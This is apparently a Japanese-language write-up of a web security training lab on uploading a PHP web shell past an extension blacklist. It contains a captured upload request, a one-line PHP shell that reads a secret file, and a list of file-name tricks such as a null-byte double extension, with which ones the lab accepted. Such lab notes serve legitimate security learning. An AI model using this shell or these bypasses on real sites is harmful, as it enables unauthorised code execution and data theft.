ブラックリスト・バイパスによる Web shell のアップロード。23 of 35 ラボ
デフォルトリクエスト
POST /my-account/avatar HTTP/2 Host: 0a2100ed048919a1823e510600a700de.web-security-academy.net Cookie: session=BbuOADoJBlHjvRrRWcJhrRk9eZXX05O1 ~省略~ ------WebKitFormBoundaryhVfDZJ94x6USDOlu Content-Disposition: form-data; name="avatar"; filename="hacker.png" Content-Type: image/png �PNG ~バイナリのため省略~
デフォルトアップロード先
<img src="/files/avatars/hacker.png" class="avatar">
1. テスト用WebShell
<?php echo file_get_contents('/home/carlos/secret'); ?>
"Sorry, only JPG & PNG files are allowed"
2. 拡張子の改ざん
webshell.pHp → Sorry
webshell.php.jpg → uploaded だが、壊れた jpg としてしか認識されない
webshell.php. → Sorry
webshell%2Ephp → Sorry
webshell.php;.jpg → uploaded だが、404 Not Found
webshell.php%00.jpg → uploaded だが、404 Not Found

しかし、%00.jpg 部分は消すとPHPファイルとして動作する
